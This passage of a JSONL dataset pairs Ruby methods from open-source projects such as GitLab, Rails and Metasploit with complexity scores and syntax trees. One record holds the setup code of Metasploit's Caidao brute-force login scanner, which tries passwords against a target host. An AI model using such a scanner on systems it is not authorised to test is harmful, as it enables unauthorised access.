end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_set_session_smtp_address\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@smtp_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"b4b746c4-ab26-483d-bc3a-c376af3d938b"} {"repo_name":"hooks","file_path":"./repos/hooks/spec/unit/lib/hooks/plugins/lifecycle_spec.rb","start_line":295,"raw_source":"def increment(metric_name, tags = {})\n @collector << { type: :increment, metric: metric_name, tags: }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric_name\"]},{\"type\":\"optarg\",\"children\":[\"tags\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collector\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"increment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"metric_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}]}","id":"b8406056-d516-459b-86bc-c058e8834d33"} {"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tag/disableable.rb","start_line":14,"raw_source":"def disabled_error(context)\n # raise then rescue the exception so that the Context#exception_renderer can re-raise it\n raise DisabledError, \"#{tag_name} #{parse_context[:locale].t('errors.disabled.tag')}\"\n rescue DisabledError => exc\n context.handle_error(exc, line_number)\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DisabledError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]},\"t\",{\"type\":\"str\",\"children\":[\"errors.disabled.tag\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DisabledError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"handle_error\",{\"type\":\"lvar\",\"children\":[\"exc\"]},{\"type\":\"send\",\"children\":[null,\"line_number\"]}]}]},null]}]}","id":"870a1b91-0dcd-4389-a4b7-28d46a7862b2"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_sample.rb","start_line":140,"raw_source":"def wait(time)\n start_time = Time.now\n yield\n sleep_time = time - (Time.now - start_time)\n sleep sleep_time if sleep_time > 0\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"wait\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"sleep_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sleep_time\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"sleep_time\"]}]},null]}]}]}","id":"38dff5b5-efd8-4a5e-8930-5cff4fc76077"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/issues_calendar.rb","start_line":7,"raw_source":"def render_issues_calendar(issuables)\n @issues = issuables\n .non_archived\n .with_due_date\n .limit(100)\n\n respond_to do |format|\n format.ics do\n # NOTE: with text/calendar as Content-Type, the browser always downloads\n # the content as a file (even ignoring the Content-Disposition\n # header). We want to display the content inline when accessed\n # from GitLab, similarly to the RSS feed.\n response.headers['Content-Type'] = 'text/plain' if request.referer&.start_with?(::Settings.gitlab.base_url)\n end\n end\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render_issues_calendar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@issues\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuables\"]},\"non_archived\"]},\"with_due_date\"]},\"limit\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"ics\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"referer\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"gitlab\"]},\"base_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},null]}]}]}]}]}","id":"927a8266-05fc-4270-bd16-465df2d30b3b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/reference_parser/base_parser.rb","start_line":73,"raw_source":"def nodes_visible_to_user(user, nodes)\n projects = lazy { projects_for_nodes(nodes) }\n groups = lazy { groups_for_nodes(nodes) }\n project_attr = 'data-project'\n group_attr = 'data-group'\n\n preload_associations(projects, user)\n preload_group_associations(groups, user)\n\n nodes.select do |node|\n if node.has_attribute?(project_attr)\n can_read_reference?(user, projects[node], node)\n elsif node.has_attribute?(group_attr)\n can_read_reference?(user, groups[node], node)\n else\n true\n end\n end\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nodes_visible_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"projects_for_nodes\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"groups_for_nodes\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_attr\",{\"type\":\"str\",\"children\":[\"data-project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_attr\",{\"type\":\"str\",\"children\":[\"data-group\"]}]},{\"type\":\"send\",\"children\":[null,\"preload_associations\",{\"type\":\"lvar\",\"children\":[\"projects\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"preload_group_associations\",{\"type\":\"lvar\",\"children\":[\"groups\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"has_attribute?\",{\"type\":\"lvar\",\"children\":[\"project_attr\"]}]},{\"type\":\"send\",\"children\":[null,\"can_read_reference?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"has_attribute?\",{\"type\":\"lvar\",\"children\":[\"group_attr\"]}]},{\"type\":\"send\",\"children\":[null,\"can_read_reference?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"de7c3ae6-fac2-4340-8250-8c30c369ae04"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/update_service.rb","start_line":91,"raw_source":"def upgrading_to_owner?\n params[:access_level] == Gitlab::Access::OWNER\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upgrading_to_owner?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"OWNER\"]}]}]}","id":"d43aa855-87a5-4452-8071-f30a4558248a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb","start_line":53,"raw_source":"def scanner(ip)\n @scanner ||= lambda {\n cred_collection = build_credential_collection(\n # The LoginScanner API refuses to run if there's no username, so we give it a fake one.\n # But we will not be reporting this to the database.\n username: 'caidao',\n password: datastore['PASSWORD']\n )\n\n return Metasploit::Framework::LoginScanner::Caidao.new(\n configure_http_login_scanner(\n host: ip,\n port: datastore['RPORT'],\n uri: datastore['TARGETURI'],\n cred_details: cred_collection,\n stop_on_success: datastore['STOP_ON_SUCCESS'],\n bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n connection_timeout: 5,\n http_username: datastore['HttpUsername'],\n http_password: datastore['HttpPassword']\n )\n )\n }.call\n end","complexity_score":36.85,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scanner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[null,\"build_credential_collection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"caidao\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"Caidao\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"configure_http_login_scanner\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cred_details\"]},{\"type\":\"lvar\",\"children\":[\"cred_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop_on_success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bruteforce_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_timeout\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]}]}]}]}]}]}]},\"call\"]}]}]}","id":"115cf2b5-ccc6-46be-892b-f5e35766cb54"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":991,"raw_source":"def test_esbuild_option_with_javascript_argument\n run_generator [destination_root, \"--javascript\", \"esbuild\"]\n assert_gem \"jsbundling-rails\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_esbuild_option_with_javascript_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--javascript\"]},{\"type\":\"str\",\"children\":[\"esbuild\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_gem\",{\"type\":\"str\",\"children\":[\"jsbundling-rails\"]}]}]}]}","id":"7ff808f0-6104-4687-8db4-bccd79c67c3c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/reports_uploader.rb","start_line":34,"raw_source":"def log_upload_success(path, duration_s)\n logger.info(log_labels.merge(perf_report_status: 'upload success', perf_report_path: path,\n duration_s: duration_s))\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_upload_success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"duration_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_labels\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perf_report_status\"]},{\"type\":\"str\",\"children\":[\"upload success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perf_report_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_s\"]},{\"type\":\"lvar\",\"children\":[\"duration_s\"]}]}]}]}]}]}","id":"89839a32-762b-4dcd-8a24-d028101bd9f4"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/resource_action.rb","start_line":63,"raw_source":"def fqname\n MiqAeEngine::MiqAePath.new(\n :ae_namespace => ae_namespace,\n :ae_class => ae_class,\n :ae_instance => ae_instance\n ).to_s\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fqname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeEngine\"]},\"MiqAePath\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae_namespace\"]},{\"type\":\"send\",\"children\":[null,\"ae_namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae_class\"]},{\"type\":\"send\",\"children\":[null,\"ae_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae_instance\"]},{\"type\":\"send\",\"children\":[null,\"ae_instance\"]}]}]}]},\"to_s\"]}]}","id":"04ad4655-f57f-4a08-b3e4-479d7f9bc242"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1431,"raw_source":"def test_optional_scoped_root_multiple_choice\n draw do\n scope \"(:locale)\" do\n scope \"(p/:platform)\" do\n scope \"(b/:browser)\" do\n root to: \"projects#index\"\n end\n end\n end\n end\n\n # Note, in this particular case where we rely on pattern matching instead\n # of hierarchy to match parameters in a root path, root_path returns \"\"\n # when given no path parameters.\n\n assert_equal \"/en\", root_path(locale: \"en\")\n assert_equal \"/p/osx\", root_path(platform: \"osx\")\n assert_equal \"/en/p/osx\", root_path(locale: \"en\", platform: \"osx\")\n assert_equal \"/b/chrome\", root_path(browser: \"chrome\")\n assert_equal \"/en/b/chrome\", root_path(locale: \"en\", browser: \"chrome\")\n assert_equal \"/p/osx/b/chrome\",\n root_path(platform: \"osx\", browser: \"chrome\")\n assert_equal \"/en/p/osx/b/chrome\",\n root_path(locale: \"en\", platform: \"osx\", browser: \"chrome\")\n\n get \"/en\"\n assert_equal \"projects#index\", @response.body\n\n get \"/p/osx\"\n assert_equal \"projects#index\", @response.body\n\n get \"/en/p/osx\"\n assert_equal \"projects#index\", @response.body\n\n get \"/b/chrome\"\n assert_equal \"projects#index\", @response.body\n\n get \"/en/b/chrome\"\n assert_equal \"projects#index\", @response.body\n\n get \"/p/osx/b/chrome\"\n assert_equal \"projects#index\", @response.body\n\n get \"/en/p/osx/b/chrome\"\n assert_equal \"projects#index\", @response.body\n end","complexity_score":48.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_optional_scoped_root_multiple_choice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"(:locale)\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"(p/:platform)\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"(b/:browser)\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"root\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"projects#index\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/en\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/p/osx\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/en/p/osx\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/b/chrome\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser\"]},{\"type\":\"str\",\"children\":[\"chrome\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/en/b/chrome\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser\"]},{\"type\":\"str\",\"children\":[\"chrome\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/p/osx/b/chrome\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser\"]},{\"type\":\"str\",\"children\":[\"chrome\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/en/p/osx/b/chrome\"]},{\"type\":\"send\",\"children\":[null,\"root_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser\"]},{\"type\":\"str\",\"children\":[\"chrome\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/en\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/p/osx\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/en/p/osx\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/b/chrome\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/en/b/chrome\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/p/osx/b/chrome\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/en/p/osx/b/chrome\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"487d7cbd-9ff6-46a7-96d3-4d9abed46e72"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/api/v1/accounts_controller.rb","start_line":81,"raw_source":"def stripe_customer_id\n @account.custom_attributes['stripe_customer_id']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stripe_customer_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"custom_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"stripe_customer_id\"]}]}]}","id":"ed00e180-9a9c-452b-9a74-6da64a0b3ac9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/android.rb","start_line":41,"raw_source":"def java_string(str)\n [str.length].pack(\"N\") + str\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"java_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}","id":"7cae78d0-7636-45bb-936a-8095d6ecf6d3"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/iterable/iterable_jobs.rb","start_line":19,"raw_source":"def around_iteration\n self.class.around_iteration_called += 1\n yield\n end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"around_iteration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"around_iteration_called\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"5a23227a-a2fa-4a86-bd9b-83252e2751bb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/deep_size.rb","start_line":69,"raw_source":"def with_nesting\n @depth += 1\n raise TooMuchDataError if too_deep?\n\n yield\n\n @depth -= 1\n 